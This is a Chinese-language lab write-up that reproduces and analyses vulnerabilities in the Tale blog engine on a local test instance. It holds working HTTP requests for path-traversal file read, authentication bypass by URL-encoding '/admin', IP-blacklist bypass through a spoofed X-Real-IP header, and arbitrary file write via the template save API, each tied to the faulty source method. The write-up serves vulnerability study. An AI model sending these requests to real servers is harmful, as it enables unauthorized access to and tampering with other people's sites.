环境搭建
https://gitee.com/hellokaton/tale
下载安装包 运行 Application

访问 127.0.0.1:9000

漏洞复现与分析
未授权任意文件读取
构造数据包
GET /%61dmin/template/content?fileName=/../../../../../pom.xml HTTP/1.1
Host: 127.0.0.1:9000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
X-CSRF-TOKEN: JDJhJDEyJGt0NzBwLnphVzFacnNZLjBkWGsyVk8zOXJST1U5dWV5ZVJWblVtTmpaUG5HNFRrbEFDa2pP
X-Requested-With: XMLHttpRequest
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:9000/admin/index
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
读取到项目中的 pom 文件

com.tale.controller.admin.PagesController#getContent

通过 GET 方式获取到参数 fileName 的值未经处理就拼接到 filePath 中 最后利用 readAllLines 读取到文件内容
java.util.List

逻辑漏洞--全局越权
构造数据包
GET /%61dmin/api/logs HTTP/1.1
Host: 127.0.0.1:9000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
X-Requested-With: XMLHttpRequest
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:9000/admin/index
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
成功越权执行读取 logs 文件的操作


在处理权限校验的时候,会根据 url 是否为 "/admin" 以及不是 "/admin/login" 时会判断用户是否是登录状态,但是通过编码就绕过了这样的校验,可以实现全局越权执行任意功能。

逻辑漏洞--绕过黑名单检验
登录后台后,在系统管理处添加黑名单 ip 地址 127.0.0.1

再次访问系统时会提示已经被拉入黑名单


在数据包中添加字段 X-Real-IP
GET /%61dmin/api/logs HTTP/1.1
Host: 127.0.0.1:9000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
X-Requested-With: XMLHttpRequest
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:9000/admin/index
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
X-Real-IP:127.1.1.1
Connection: close

绕过了黑名单的校验
com.tale.hooks.BaseWebHook#before

com.blade.mvc.http.Request#address

com.blade.kit.WebKit#ipAddress

会优先获取从这些字段中读取到的 ip 地址,所以就绕过了黑名单的校验
任意文件上传/任意文件写入
登录后构造数据包
POST /admin/api/template/save HTTP/1.1
Host: 127.0.0.1:9000
Content-Length: 54
X-Requested-With: XMLHttpRequest
X-CSRF-TOKEN: JDJhJDEyJHRqODNiZUZtMWZmN25QWTFZS09lU2VoNDBIcWlVQVJoVEl4VWhKUHZQellaeHFVUFFvclh5
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Content-Type: application/json;charset=UTF-8
Accept: */*
Origin: http://127.0.0.1:9000
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:9000/admin/attaches
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: SESSION=1b6t293u9gibfr32frrdb9h2du
X-Real-IP:127.1.1.1
{"fileName":"../../../../../1.txt",
"content":"test"}

成功在项目根目录下写入文件

com.tale.controller.admin.AdminApiController#saveTpl


根据传入的参数 fileName 为设定的文件名 content 为文件内容,未经校验就拼接到参数中,最终实现任意文件上传。